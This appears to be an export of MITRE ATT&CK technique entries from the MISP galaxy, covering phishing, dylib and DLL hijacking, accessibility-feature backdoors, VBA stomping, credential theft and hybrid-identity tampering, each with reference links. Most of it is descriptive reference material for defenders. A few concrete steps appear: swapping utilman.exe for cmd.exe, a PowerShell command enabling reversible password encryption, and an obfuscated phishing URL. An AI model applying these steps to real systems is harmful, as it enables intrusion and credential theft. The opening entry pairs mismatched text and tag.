Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003"*

---

**Table 5660. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1587/003">https://attack.mitre.org/techniques/T1587/003</a></td>
</tr>
</tbody>
</table>

**Employee Names - T1589.003**

Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). (Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003"

**Table 5661. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1589/003">https://attack.mitre.org/techniques/T1589/003</a></td>
</tr>
<tr>
<td><a href="https://www.opm.gov/cybersecurity/cybersecurity-incidents/">https://www.opm.gov/cybersecurity/cybersecurity-incidents/</a></td>
</tr>
</tbody>
</table>

**Spearphishing Link - T1598.003**

Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. (Citation: TrendMictro Phishing) (Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, hxxp://google.com@1157586937. (Citation: Mandiant URL Obfuscation 2023)

Adversaries may also link to "web bugs" or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. (Citation: NIST Web Bug)

Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. (Citation: ZScaler BitB 2020) (Citation: Mr. D0x BitB 2022)
Adversaries can use phishing kits such as EvilProxy and Evilginx2 to proxy the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. (Citation: Proofpoint Human Factor)

From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003"

Table 5662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1598/003">https://attack.mitre.org/techniques/T1598/003</a></td>
</tr>
<tr>
<td><a href="https://csrc.nist.gov/glossary/term/web_bug">https://csrc.nist.gov/glossary/term/web_bug</a></td>
</tr>
<tr>
<td><a href="https://mrd0x.com/browser-in-the-browser-phishing-attack/">https://mrd0x.com/browser-in-the-browser-phishing-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse">https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials">https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials</a></td>
</tr>
</tbody>
</table>

Dylib Hijacking - T1574.004

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. (Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could
result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)

The tag is: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004"

Table 5663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/004">https://attack.mitre.org/techniques/T1574/004</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py">https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py">https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py</a></td>
</tr>
<tr>
<td><a href="https://malwareunicorn.org/workshops/macos_dylib_injection.html#5">https://malwareunicorn.org/workshops/macos_dylib_injection.html#5</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x46.html">https://objective-see.com/blog/blog_0x46.html</a></td>
</tr>
<tr>
<td><a href="https://taomm.org/vol1/pdfs.html">https://taomm.org/vol1/pdfs.html</a></td>
</tr>
</tbody>
</table>

**LC_LOAD_DYLIB Addition - T1546.006**

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time.(Citation: Malware Persistence on OS X)

The tag is: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006"

Table 5664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Spearphishing Voice - T1566.004

Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)

Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1566.004"

**Table 5665. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1566/004">https://attack.mitre.org/techniques/T1566/004</a></td>
</tr>
<tr>
<td><a href="https://blog.sygnia.co/luna-moth-false-subscription-scams">https://blog.sygnia.co/luna-moth-false-subscription-scams</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/">https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa23-025a">https://www.cisa.gov/uscert/ncas/alerts/aa23-025a</a></td>
</tr>
</tbody>
</table>

VBA Stomping - T1564.007

Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each
module stream has a `<code>PerformanceCache</code>` that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the `<code>_VBA_PROJECT</code>` stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero's, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the `<code>_VBA_PROJECT</code>` stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)

The tag is: `misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007"`

**Table 5666. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/007">https://attack.mitre.org/techniques/T1564/007</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239">https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239</a></td>
</tr>
<tr>
<td><a href="https://github.com/bontchev/pcodedmp">https://github.com/bontchev/pcodedmp</a></td>
</tr>
<tr>
<td><a href="https://github.com/decalage2/oletools">https://github.com/decalage2/oletools</a></td>
</tr>
<tr>
<td><a href="https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/">https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/</a></td>
</tr>
</tbody>
</table>

**Accessibility Features - T1546.008**

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `<code>C:\Windows\System32\sethc.exe</code>`, launched when the shift key is pressed five times and `<code>C:\Windows\System32\utilman.exe</code>`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in
different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `<code>%systemdir%</code>`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `<code>C:\Windows\System32\utilman.exe</code>`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

- On-Screen Keyboard: `<code>C:\Windows\System32\osk.exe</code>`
- Magnifier: `<code>C:\Windows\System32\Magnify.exe</code>`
- Narrator: `<code>C:\Windows\System32\Narrator.exe</code>`
- Display Switcher: `<code>C:\Windows\System32\DisplaySwitch.exe</code>`
- App Switcher: `<code>C:\Windows\System32\AtBroker.exe</code>`

The tag is: `misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"`

Table 5667. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/">http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/008">https://attack.mitre.org/techniques/T1546/008</a></td>
</tr>
<tr>
<td><a href="https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html">https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom">https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom</a></td>
</tr>
</tbody>
</table>

Web Services - T1584.006

Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user’s access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),

2684
Exfiltration Over Web Service (https://attack.mitre.org/techniques/T1567), or Phishing (https://attack.mitre.org/techniques/T1566). (Citation: Recorded Future Turla Infra 2020)

Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.

The tag is: misp-galaxy:mitre-attack-pattern="Web Services - T1584.006"

Table 5668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/006">https://attack.mitre.org/techniques/T1584/006</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/turla-apt-infrastructure/">https://www.recordedfuture.com/turla-apt-infrastructure/</a></td>
</tr>
</tbody>
</table>

AppCert DLLs - T1546.009

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

The tag is: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"

Table 5669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/009">https://attack.mitre.org/techniques/T1546/009</a></td>
</tr>
<tr>
<td><a href="https://forum.sysinternals.com/appcertdlls_topic12546.html">https://forum.sysinternals.com/appcertdlls_topic12546.html</a></td>
</tr>
</tbody>
</table>
Resource Forking - T1564.009

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code. Usage of a resource fork is identifiable when displaying a file's extended attributes, using `<code>ls -l@</code>` or `<code>xattr -l</code>` commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the `<code>/Resources</code>` folder.

Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.

The tag is: `misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009"`

Table 5670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/009">https://attack.mitre.org/techniques/T1564/009</a></td>
</tr>
<tr>
<td><a href="https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/">https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/</a></td>
</tr>
</tbody>
</table>

LSASS Driver - T1547.008

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) `lsass.exe` process.

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.

The tag is: `misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"`

Table 5671. Table References
**Shortcut Modification - T1547.009**

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Shortcut Modification - T1547.009"

**Digital Certificates - T1588.004**

Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)).
with [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let’s Encrypt FAQ)

After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004"

Table 5673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588/004">https://attack.mitre.org/techniques/T1588/004</a></td>
</tr>
<tr>
<td><a href="https://letsencrypt.org/docs/faq/">https://letsencrypt.org/docs/faq/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/cobalt-strike-servers/">https://www.recordedfuture.com/cobalt-strike-servers/</a></td>
</tr>
</tbody>
</table>

**Spearphishing Voice - T1598.004**

Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or “vishing”), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)

Victims may also receive phishing messages that direct them to call a phone number (“callback phishing”) where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open
Websites/Domains ([https://attack.mitre.org/techniques/T1593](https://attack.mitre.org/techniques/T1593)) or [Search Victim-Owned Websites]([https://attack.mitre.org/techniques/T1594](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1598.004"`

Table 5674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1598/004">https://attack.mitre.org/techniques/T1598/004</a></td>
</tr>
<tr>
<td><a href="https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing">https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing</a></td>
</tr>
</tbody>
</table>

Password Managers - T1555.005

Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)

Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005"`

Table 5675. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/005">https://attack.mitre.org/techniques/T1555/005</a></td>
</tr>
<tr>
<td><a href="https://github.com/GhostPack/KeeThief">https://github.com/GhostPack/KeeThief</a></td>
</tr>
<tr>
<td><a href="https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf">https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf</a></td>
</tr>
</tbody>
</table>
Reversible Encryption - T1556.005

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The `<code>AllowReversiblePasswordEncryption</code>` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (`<code>G$RADIUSCHAP</code>`) from the Active Directory user-structure `<code>userParameters</code>`
2. 16 byte randomly-generated value (`<code>G$RADIUSCHAPKEY</code>`) also from `<code>userParameters</code>`
3. Global LSA secret (`<code>G$MSRADIUSCHAPKEY</code>`) 
4. Static key hardcoded in the Remote Access Subauthentication DLL (`<code>RASSFM.DLL</code>`) 

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to “Windows Server 2008” or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to `<code>Set-ADUser-AllowReversiblePasswordEncryption $true</code>`.

The tag is: `misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005"`

### Table 5676. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2053">https://adsecurity.org/?p=2053</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/005">https://attack.mitre.org/techniques/T1556/005</a></td>
</tr>
</tbody>
</table>
Hybrid Identity - T1556.007

Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD (Citation: Azure AD Hybrid Identity):

- **Password Hash Synchronization (PHS)**, in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- **Pass Through Authentication (PTA)**, in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- **Active Directory Federation Services (AD FS)**, in which a trust relationship is established between Active Directory and Azure AD

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users' identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the AzureADConnectAuthenticationAgentService process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials. (Citation: Azure AD Connect for Red Teamers) (Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the Microsoft.IdentityServer.Servicehost configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies. (Citation: MagicWeb)

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user. (Citation: Mandiant Azure AD Backdoors)

The tag is: *misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007"

Table 5677. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/007">https://attack.mitre.org/techniques/T1556/007</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/azuread-connect-for-redteam/">https://blog.xpnsec.com/azuread-connect-for-redteam/</a></td>
</tr>
</tbody>
</table>
### Scan Databases - T1596.005

Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. (Citation: Shodan)

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: `misp-galaxy:mitre-attack-pattern="Scan Databases - T1596.005"`

**Table 5678. Table References**

**Links**

- https://attack.mitre.org/techniques/T1596/005
- https://shodan.io

### Application Shimming - T1546.011

